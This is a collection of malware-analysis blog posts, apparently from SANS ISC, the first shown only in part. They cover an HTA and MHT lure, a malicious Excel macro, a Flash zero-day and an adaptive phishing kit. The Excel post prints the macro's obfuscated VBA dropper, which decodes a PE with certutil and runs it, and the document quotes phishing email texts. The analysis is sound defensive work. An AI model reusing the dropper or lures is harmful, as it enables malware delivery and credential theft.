With regular expression "&H..", we can extract all strings starting with &H followed by 2 characters:

When we use a capture group (), re-search will output the capture group in stead of the full matched string:

And then we can convert the hexadecimal digits to their binary values:

In this HTA document, the malware authors tried to obfuscated strings like MSXML2.DOMDocument.3.0 that are used in AV signatures and other detection tools.

 

 

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

I received an Invoice.MHT file attached to an email:

The URL points to an HTA file:

We can see a PowerShell command with BASE64. This can be dumped with base64dump:

As expected, it is UNICODE:

We can try to decode this as UTF-16:

And we get an error, because of some unprintable characters. These can be seen here:

A trick to deal with such characters, is to decode as UTF-16 and encode as ASCII, but ignore errors, like this:

The downloaded executable is not detected by a lot of anti-virus programs.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Here is another quick analysis of a malicious Excel sheet found while hunting. The malicious document was delivered through a classic phishing attempt from Jane’s 360[1], a website operated by HIS Markit[2]. Here is a copy of the mail body:

Greetings!

Attached you can find Upcoming Defense, Military and Intelligence event calendar.

Note: If you have trouble viewing the document you can try to enable content to resolve the issue.

Regards,

Jane's 360 By IHS Markit
IHS Global Limited: Registered in England under company number 00788737. Registered office: The Capitol Building, Oldbury, Bracknell, Berkshire, RG12 8FZ, UK.
This email message, including accompanying communications and attachments, is strictly confidential, for the sole use of the intended recipient(s) and may contain privileged information. Any unauthorized use, review, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message. Thank you.

Please consider the environment before printing this e-mail.

The attached file filename is 'Upcoming Events February 2018.xls’ (SHA1: b06930c9809ab5e4cb6659089ac6fcec470c9c16) and was unknown on VT but matched the following YARA rules:

• contentis_base64
• maldoc_OLE_file_magic_number
• office_document_vba
• Base64_encoded_Executable
• url
• with_urls
• without_attachments
• without_images
• Contains_VBA_macro_code
• domain

The VBA macro is a simple one but very effective. As already explained in a previous diary[3], the Microsoft Windows operating system has plenty of useful tools that help attackers to perform interesting actions. The XLS file has a malicious payload stored in multiple cells (Base64 encoded).

A function reads those cells and concatenates them into a unique string:

Function GetVal(sr As Long, er As Long, c As Long)
    Dim x
    For i = sr To er
        x = x + Cells(i, c)
    Next
    GetVal = x
End Function
…
p = GetVal(2227, 2248, 170)

If the encoded strings starts with 'TV(oA|pB|pQ|qA|qQ|ro)', this is a PE file for sure[4].
To decode the string, you can use PowerShell or VB but there is a tool that does that natively: certutil.exe[5].
A fake certificate file is created and passed to certutil.exe: (code has been beautified)

Sub cutil(code As String)
    Dim x As String
    x = "-----BEG" & "IN CER" & "TIFI" & "CATE-----"
    x = x + vbNewLine
    x = x + code
    x = x + vbNewLine
    x = x + "-----E" & "ND CERTIF" & "ICATE-----"

    Dim path As String
    Dim expath As String
    
    Set scr = CreateObject("Scr" & "ipting.FileSy" & "stemObject")
    path = "C:\Programdata\" & GetRand & ".txt"
    expath = "C:\Programdata\" & GetRand & ".exe"

    Set scr = CreateObject("Scr" & "ipting.FileSy" & "stemOb" & "ject")
    Set file = scr.CreateTextFile(path, True)
    file.Write x
    file.Close

    Shell (Chr(99) & Chr(101) & Chr(114) & Chr(116) & Chr(117) & Chr(116) & Chr(105) & Chr(108) & Chr(32) & _
    Chr(45) & Chr(100) & Chr(101) & Chr(99) & Chr(111) & Chr(100) & Chr(101) & Chr(32) & path & " " & expath)
    // Decoded command:
    // certutil -decode C:\Programdata\<random>.txt C:\Programdata\<random>.exe
    Sleep 2000
    // Let’s launch our payload!
    Shell (expath)
End Sub

The PE file (SHA256:ff808d0a12676bfac88fd26f955154f8884f2bb7c534b9936510fd6296c543e8) is also unknown on VT.

This technique remains a stealth way to distribute a malware without download malicious content via HTTP!

[1] http://www.janes.com/
[2] https://ihsmarkit.com/index.html
[3] https://isc.sans.edu/forums/diary/Investigating+Microsoft+BITS+Activity/23281/
[4] https://isc.sans.edu/forums/diary/Searching+for+Base64encoded+PE+Files/22199
[5] https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

the Koren CERT announced that it is aware of a so far unpatched Adobe Flash vulnerability that is being exploited in targeted attacks [1]. All versions of Adobe Flash Player including 28.0.0.137 are vulnerable. 28.0.0.137 was released in January as part of Adobe's normal patch Tuesday. Adobe has not yet released an advisory, and the only confirmation so far is a twitter post from a Korean security researcher [2]. [See update below about Adobe's advisory]

According to KrCERT's advisory, the exploit can be included in a Microsoft Office document or a web page. As a workaround, KrCERT recommends disabling or uninstalling the Flash Player. Firefox appears to be not vulnerable to the web-based exploit. 

Update: Adobe just released a security advisory [3]. The vulnerability, CVE-2018-4878, will be fixed with next weeks update. 

[1] https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=26998
[2] https://twitter.com/issuemakerslab/status/959006385550778369
[3] https://helpx.adobe.com/security/products/flash-player/apsa18-01.html

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
STI|Twitter|

Phishing kits are everywhere! If your server is compromised today, they are chances that it will be used to mine cryptocurrency, to deliver malware payloads or to host a phishing kit. Phishing remains a common attack scenario to collect valid credentials and impersonate the user account or, in larger attacks, it is one of the first steps to compromise the final target. Phishing kits are usually mimicking well-known big Internet players (eBay, Paypal, Amazon, Google, Apple, Microsoft…[add your preferred one here]). I found an interesting phishing kit which adapts itself to the victim. Well, more precisely, it adapts to the victim email address.

The mail received is a warning about a mailbox that reached its storage quota:

From: EMAIL ADMIN
Subject: NOTIFICATION - Storage Full
To: victim@domain.com

Dear victim@domain.com,
Your email has used up the storage limit of 99.9 gigabytes as defined by your Administrator. You will be blocked from sending and receiving messages if not re- validated within 48hrs.
Kindly click on your email below for quick re-validation and additional storage will be updated automatically

victim@domain.com

Regards,
E-mail Support 2018.

This is a classic approach: to make the victim fear that he/she will lose access to a service. The email address in the mail body is a link that points to:

http://www.[redacted].com/sec/domainz/domainz/domainz/%40%26%25%40%25*%40()!%26?email=victim@domain.com

The URL is not publicly available because the compromised website is quite sensitive. We contacted the owner to request a cleanup.

You can see the string “Domain” added to the login page title, as well as a small icon and a favicon. In fact, this is the favicon grabbed from the victim’s email address domain:

Let’s try with another email address from the ISC:

Based on my tests, the phishing kit extracts the first word of the email address (before the first ‘dot’) and capitalize the word:

@isc.sans.edu returns "Isc"
@gmail.com returns "Gmail"

function getDomainFromEmail($email)
{
  // Get the data after the @ sign
  $domain = substr(strrchr($email, "@"), 1);
  return $domain;
}

It grabs the favicon from the email address domain and re-uses it on the fake webpage. This is a simple but cool way to make the webpage more attractive.

The attack has 3 steps:

1. Collect email / password
2. Collect the phone number
3. Redirect to the original website (based on the email address)

This is not a brand new kit. I found some references back to 2016. Based on the files, I also found other compromised websites. But it remains very simple and the fact to display the domain & logo (the favicon) to the victim might increase chances of success (from the attacker’s perspective). Stay safe!

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key